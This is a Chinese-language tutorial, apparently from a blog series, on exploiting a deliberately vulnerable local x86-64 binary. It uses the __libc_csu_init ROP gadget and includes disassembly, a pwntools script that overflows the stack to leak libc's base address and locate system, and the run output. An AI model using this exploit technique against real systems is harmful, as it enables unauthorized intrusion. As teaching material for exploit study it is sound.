本篇的代码和之前的略有修改,diff 是这样的。
26c26
< write(1, "You Are Naive.\n", 15);
---
> printf("You Are Naive.\n");
其实是为了强行构造漏洞… 编译参数为 gcc -g -O0 -fno-stack-protector -o vuln main.c
,需要开启 aslr。
通用 gadget
之前为了构造 gadget 我们使用工具去二进制文件和 libc 中寻找比较明显的,但是可能存在的两个问题
- 有些 gadget 不是太明显,需要经过很多步骤的初始化才能得到
- 在开启了 aslr 的情况下,libc 基址并不知道,libc 中的 gadget 使用比较困难
其实在使用了 libc 的二进制程序中,基本上都有一段最多可以写三个参数寄存器的通用 gadget,就在函数 __libc_csu_init
中。
gdb-peda$ pdisas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000004007e0 <+0>: push r15
0x00000000004007e2 <+2>: push r14
0x00000000004007e4 <+4>: mov r15d,edi
0x00000000004007e7 <+7>: push r13
0x00000000004007e9 <+9>: push r12
0x00000000004007eb <+11>: lea r12,[rip+0x20061e] # 0x600e10
0x00000000004007f2 <+18>: push rbp
0x00000000004007f3 <+19>: lea rbp,[rip+0x20061e] # 0x600e18
0x00000000004007fa <+26>: push rbx
0x00000000004007fb <+27>: mov r14,rsi
0x00000000004007fe <+30>: mov r13,rdx
0x0000000000400801 <+33>: sub rbp,r12
0x0000000000400804 <+36>: sub rsp,0x8
0x0000000000400808 <+40>: sar rbp,0x3
0x000000000040080c <+44>: call 0x400540 <_init>
0x0000000000400811 <+49>: test rbp,rbp
0x0000000000400814 <+52>: je 0x400836 <__libc_csu_init+86>
0x0000000000400816 <+54>: xor ebx,ebx
0x0000000000400818 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400820 <+64>: mov rdx,r13
0x0000000000400823 <+67>: mov rsi,r14
0x0000000000400826 <+70>: mov edi,r15d
0x0000000000400829 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040082d <+77>: add rbx,0x1
0x0000000000400831 <+81>: cmp rbx,rbp
0x0000000000400834 <+84>: jne 0x400820 <__libc_csu_init+64>
0x0000000000400836 <+86>: add rsp,0x8
0x000000000040083a <+90>: pop rbx
0x000000000040083b <+91>: pop rbp
0x000000000040083c <+92>: pop r12
0x000000000040083e <+94>: pop r13
0x0000000000400840 <+96>: pop r14
0x0000000000400842 <+98>: pop r15
0x0000000000400844 <+100>: ret
End of assembler dump.
这个 gadget 的流程是这样的
利用
如果看懂了上面的图,那很容易就可以使用这个 gadget,下面是一个泄露 libc 基地址的 shellcode
# coding=utf-8
from pwn import *
student = 0x7fffffffe2f0
elf = ELF("./vuln")
write_got = elf.got["write"]
# 这个 gadget 就是读取 write@got 的地址
# rbx rbp r12 r13 r14 r15 second gadget
gadget = p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400820)
shellcode = "1925\n"
# 偏移量和开启 aslr 没关系,这里的硬编码的是偏移量而不是地址
shellcode += "A" * (0x7fffffffe348 - student)
# gadget start addr -> return addr
shellcode += p64(0x40083a)
proc = process("./vuln")
proc.send(shellcode)
raw_input()
proc.sendline(gadget)
print(proc.recvuntil("Second Here.\n"))
# 读取到了 write@got 的地址
write_plt = u64(proc.recv(8))
print("write@got addr ", hex(write_plt))
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc_base = write_plt - libc.symbols["write"]
print("libc base addr ", hex(libc_base))
system = libc_base + libc.symbols["system"]
print("system addr ", hex(system))
运行结果是
➜ new python shellcode.py
[*] '/home/virusdefender/Desktop/pwn/new/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './vuln': pid 9907
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Spend One Second Here.
('write@got addr ', '0x7f4314f8d280')
[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
('libc base addr ', '0x7f4314e96000')
('system addr ', '0x7f4314edb390')
vmmap
的结果如下,可以看到和 shellcode 的输出一致。
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/virusdefender/Desktop/pwn/new/vuln
0x00600000 0x00601000 r--p /home/virusdefender/Desktop/pwn/new/vuln
0x00601000 0x00602000 rw-p /home/virusdefender/Desktop/pwn/new/vuln
0x01754000 0x01775000 rw-p [heap]
0x00007f4314e96000 0x00007f4315056000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f4315056000 0x00007f4315256000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f4315256000 0x00007f431525a000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f431525a000 0x00007f431525c000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f431525c000 0x00007f4315260000 rw-p mapped
0x00007f4315260000 0x00007f4315286000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f4315466000 0x00007f4315469000 rw-p mapped
0x00007f4315483000 0x00007f4315485000 rw-p mapped
0x00007f4315485000 0x00007f4315486000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f4315486000 0x00007f4315487000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f4315487000 0x00007f4315488000 rw-p mapped
0x00007ffc9b5d9000 0x00007ffc9b5fa000 rw-p [stack]
0x00007ffc9b5fb000 0x00007ffc9b5fd000 r--p [vvar]
0x00007ffc9b5fd000 0x00007ffc9b5ff000 r-xp [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]